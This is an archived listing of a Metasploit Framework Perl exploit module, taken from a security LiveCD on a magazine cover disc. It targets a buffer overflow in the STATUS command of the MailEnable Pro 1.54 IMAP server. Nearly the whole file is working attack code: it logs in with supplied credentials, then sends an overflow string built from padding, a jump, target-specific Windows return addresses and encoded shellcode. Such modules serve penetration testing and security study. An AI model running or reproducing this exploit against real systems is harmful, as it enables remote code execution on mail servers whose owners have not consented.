home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mailenable_imap.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  134 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mailenable_imap;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17.   };
  18.  
  19. my $info = {
  20.     'Name'    => 'MailEnable Pro (1.54) IMAP STATUS Request Buffer Overflow',
  21.     'Version'  => '$Revision: 1.4 $',
  22.     'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
  23.     'Arch'    => [ 'x86' ],
  24.     'OS'      => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
  25.     'Priv'    => 1,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 143],
  31.         'USER'  => [1, 'DATA', 'IMAP Username'],
  32.         'PASS'  => [1, 'DATA', 'IMAP Password'],
  33.       },
  34.  
  35.     'AutoOpts'  => { 'EXITFUNC'  => 'thread' },
  36.     'Payload' =>
  37.       {
  38.         'Space'     => 450,
  39.         'BadChars'  => "\x00\x0a\x0d\x20",
  40.         'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
  41.         'Keys'      => ['+ws2ord'],
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45. MailEnable's IMAP server contains a buffer overflow vulnerability
  46. in the STATUS command. With proper credentials, this could allow
  47. for the execution of arbitrary code. 
  48. }),
  49.  
  50.     'Refs'  =>
  51.       [
  52.           ['OSVDB', '17844'],      
  53.         ['CVE','2005-2278'],
  54.         ['BID', '14243' ],
  55.         ['NSS', '19193' ],
  56.       ],
  57.  
  58.     'Targets' =>
  59.       [
  60.         ['MailEnable 1.54 Pro Universal', 9273, 0x1001c019], #MEAISP.DLL
  61.         ['Windows XP Pro SP0/SP1 English', 9273, 0x71aa32ad ],
  62.         ['Windows 2000 Pro English ALL', 9273, 0x75022ac4 ],
  63.         ['Windows 2003 Server English', 9273, 0x7ffc0638 ],
  64.       ],
  65.  
  66.     'Keys' => ['imap'],
  67.  
  68.     'DisclosureDate' => 'Jul 13 2005',
  69.   };
  70.  
  71. sub new {
  72.     my $class = shift;
  73.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  74.  
  75.     return($self);
  76. }
  77.  
  78. sub Exploit {
  79.     my $self = shift;
  80.     my $targetHost  = $self->GetVar('RHOST');
  81.     my $targetPort  = $self->GetVar('RPORT');
  82.     my $targetIndex = $self->GetVar('TARGET');
  83.     my $user        = $self->GetVar('USER');
  84.     my $pass        = $self->GetVar('PASS');
  85.     my $encodedPayload = $self->GetVar('EncodedPayload');
  86.     my $shellcode   = $encodedPayload->Payload;
  87.     my $target = $self->Targets->[$targetIndex];
  88.  
  89.     my $sock = Msf::Socket::Tcp->new(
  90.         'PeerAddr' => $targetHost,
  91.         'PeerPort' => $targetPort,
  92.       );
  93.       
  94.     if($sock->IsError) {
  95.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  96.         return;
  97.     }
  98.  
  99.     my $resp = $sock->Recv(-1, 3);
  100.     chomp($resp);
  101.     $self->PrintLine('[*] Got Banner: ' . $resp);
  102.  
  103.     my $sploit = "a001 LOGIN $user $pass\r\n";
  104.     $sock->Send($sploit);
  105.     my $resp = $sock->Recv(-1, 3);
  106.     if($sock->IsError) {
  107.         $self->PrintLine('Socket error: ' . $sock->GetError);
  108.         return;
  109.     }
  110.     
  111.     if($resp !~ /^a001 OK LOGIN/) {
  112.         $self->PrintLine('Login error: ' . $resp);
  113.         return;
  114.     }
  115.     
  116.     $self->PrintLine('[*] Logged in, sending overflow...');
  117.     my $splat = Pex::Text::UpperCaseText($target->[1]);
  118.  
  119.     $sploit =
  120.       "a001 STATUS ". '".'. "\x00".
  121.       $splat. "\xeb\x06". pack('V', $target->[2]). $shellcode.
  122.       '"'. " (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)". "\r\n";
  123.  
  124.     $sock->Send($sploit);
  125.     my $resp = $sock->Recv(-1, 3);
  126.     if(length($resp)) {
  127.         $self->PrintLine('[*] Got response, bad: ' . $resp);
  128.     }
  129.     
  130.     return;
  131. }
  132.  
  133. 1;
  134.